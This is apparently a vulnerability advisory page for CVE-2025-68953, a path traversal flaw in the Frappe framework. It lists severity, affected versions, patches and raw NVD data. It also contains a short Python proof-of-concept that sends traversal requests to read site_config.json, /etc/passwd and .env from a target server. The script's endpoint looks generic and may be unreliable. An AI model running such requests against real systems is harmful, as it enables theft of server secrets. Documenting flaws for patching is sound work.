Security Vulnerability Report
中文
CVE-2025-68953 CVSS 7.5 HIGH

CVE-2025-68953

Published: 2026-01-05 22:15:53
Last Modified: 2026-01-09 13:55:29

Description

Frappe is a full-stack web application framework. Versions 14.99.5 and below and 15.0.0 through 15.80.1 include requests that are vulnerable to path traversal attacks. Arbitrary files from the server could be retrieved due to a lack of proper sanitization on some requests. This issue is fixed in versions 14.99.6 and 15.88.1. To workaround, changing the setup to use a reverse proxy is recommended.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:frappe:frappe:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:frappe:frappe:*:*:*:*:*:*:*:* - VULNERABLE
Frappe Framework < 14.99.6
Frappe Framework 15.0.0 - 15.80.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68953 Path Traversal PoC import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" # Files to test for path traversal test_paths = [ "/api/method/frappe.client.get?cmd=get_file&filename=../../../sites/site_config.json", "/api/method/frappe.client.get?cmd=get_file&filename=../../../etc/passwd", "/api/method/frappe.client.get?cmd=get_file&filename=../../../../.env" ] headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-68953-PoC)" } for path in test_paths: url = target + path try: response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200 and len(response.content) > 0: print(f"[+] Potentially vulnerable: {url}") print(f"[+] Response length: {len(response.content)}") print(f"[+] Content preview: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error testing {url}: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68953", "sourceIdentifier": "[email protected]", "published": "2026-01-05T22:15:52.867", "lastModified": "2026-01-09T13:55:29.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Frappe is a full-stack web application framework. Versions 14.99.5 and below and 15.0.0 through 15.80.1 include requests that are vulnerable to path traversal attacks. Arbitrary files from the server could be retrieved due to a lack of proper sanitization on some requests. This issue is fixed in versions 14.99.6 and 15.88.1. To workaround, changing the setup to use a reverse proxy is recommended."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.99.6", "matchCriteriaId": "EA87372E-A185-4E1A-B785-2767B3870D31"}, {"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0.0", "versionEndExcluding": "15.88.1", "matchCriteriaId": "1127BD2C-5599-46F5-89BF-684AF0D8FE52"}]}]}], "references": [{"url": "https://github.com/frappe/frappe/commit/3867fb112c3f7be1a863e40f19e9235719f784fb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/frappe/frappe/commit/959efd6a498cfaeaf7d4e0ab6cca78c36192d34d", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/frappe/frappe/security/advisories/GHSA-xj39-3g4p-f46v", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}